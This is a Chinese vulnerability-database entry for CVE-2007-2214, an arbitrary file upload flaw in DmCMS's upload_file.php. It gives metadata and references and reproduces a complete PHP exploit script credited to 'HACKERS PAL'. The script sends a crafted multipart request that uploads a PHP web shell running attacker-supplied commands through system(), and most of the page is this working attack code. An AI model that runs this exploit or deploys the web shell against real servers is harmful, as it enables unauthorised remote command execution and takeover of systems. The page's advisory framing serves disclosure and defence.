DMCMS Upload_File.PHP 任意文件上传漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1190872 漏洞类型 输入验证
发布时间 2007-04-24 更新时间 2007-04-25
CVE编号 CVE-2007-2214 CNNVD-ID CNNVD-200704-437
漏洞平台 N/A CVSS评分 7.5
|漏洞来源
https://cxsecurity.com/issue/WLB-2007040112
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200704-437
|漏洞详情
DmCMS的includes/upload_file.php中存在未限制文件上传漏洞。远程攻击者可以通过在File2和File3参数中放置一个脚本的内容,上传任意的PHP脚本。
|漏洞EXP
Hello
Title : DmCMS Shell Upload
Discovered by : HACKERS PAL
Copyrights : HACKERS PAL
Website : WwW.SoQoR.NeT
Email : security (at) soqor (dot) net [email concealed]

File ..
includes/upload_file.php
After Giving Some conditions will allow you to upload any file you want
the exploit here is the proof ..

exploit :

#!/usr/bin/php -q -d short_open_tag=on
<?
/*
/*           DmCMS Shell Uploading
/*  This exploit should allow you to execute commands
/*            By : HACKERS PAL
/*             WwW.SoQoR.NeT
*/
echo('
/**********************************************/
/*          DmCMS Shell Uploading             */
/*    by HACKERS PAL <security (at) soqor (dot) net [email concealed]>     */
/*         site: http://www.soqor.net         */');
if ($argc<4) {
print_r('
/* --                                         */
/* Usage: php '.$argv[0].' host path topath
/* Example:                                   */
/*    php '.$argv[0].' localhost /dmcms/ ../media/
/**********************************************/
');
die;
}

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
         Function get_page($url)
         {

if(function_exists("file_get_contents"))
                  {

$contents = file_get_contents($url);

}
                          else
                          {
                              $fp=fopen("$url","r");
                              while($line=fread($fp,1024))
                              {
                               $contents=$contents.$line;
                              }

}
                       return $contents;
         }

function connect($packet)
{
  global $host, $port, $html;
    $con=fsockopen(gethostbyname($host),$port);
    if (!$con)
    {
      echo '[-] Error - No response from '.$host.':'.$port; die;
    }
  fputs($con,$packet);
    $html='';
    while ((!feof($con)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($con,1);
    }
      GLOBAL $html;
  fclose($con);
}

$i=0;
$data="";

function add_data($name,$value,$type="no",$filename)
{
         GLOBAL $data,$i;
if($type=="file")
{
$data.="-----------------------------7d62702f250530
Content-Disposition: form-data; name="$filename"; filename="$name";
Content-Type: text/plain

$value
";
}
elseif($type=="init")
{

$data.="-----------------------------7d62702f250530--";

}
elseif($type=="clean")
{
$data="";
}
else
{
$data.="-----------------------------7d62702f250530
Content-Disposition: form-data; name="$name";
Content-Type: text/plain

$value
";
}

}

$host=$argv[1];
$path=$argv[2];
$default_path=$argv[3];
$port=80;

$cmd=urlencode($cmd);

$p='http://'.$host.':'.$port.$path;

Echo "n[+] Trying to Upload File";

$cookie="Master=HACKERS20%PAL";
$contents='<?php
$cmd=($_GET[cmd])?$_GET[cmd]:$_POST[cmd];
system($cmd);
?>';

add_data("empty.php","","file","File1");
add_data("soqor.php",$contents,"file","File2");
add_data("soqor.php",$contents,"file","File3");
add_data('','',"init");

$packet="POST ".$p."includes/upload_file.php?default_path=$default_path HTTP/1.0rn";
$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*rn";
$packet.="Referer: http://".$host.$path."ok.php?do=actrn";
$packet.="Accept-Language: itrn";
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d62702f250530rn";
$packet.="Accept-Encoding: gzip, deflatern";
$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)rn";
$packet.="Host: ".$host."rn";
$packet.="Content-Length: ".strlen($data)."rn";
$packet.="Connection: Closern";
$packet.="Cache-Control: no-cachern";
$packet.="Cookie: ".$cookie."rnrn";
$packet.=$data;
connect($packet);

if (!eregi($default_path,$html))
{
    echo"n/* [+] Successfully Exploited";
}
   echo ("n/*         Visit us : WwW.SoQoR.NeT           */n/**********************************************/");
?>
#WwW.SoQoR.NeT
|参考资料

来源:BUGTRAQ
名称:20070423DmCMSShellUploading
链接:http://www.securityfocus.com/archive/1/archive/1/466704/100/0/threaded
来源:OSVDB
名称:35636
链接:http://osvdb.org/35636
来源:BID
名称:23628
链接:http://www.securityfocus.com/bid/23628
来源:VUPEN
名称:ADV-2007-1516
链接:http://www.frsirt.com/english/advisories/2007/1516
来源:SREASON
名称:2605
链接:http://securityreason.com/securityalert/2605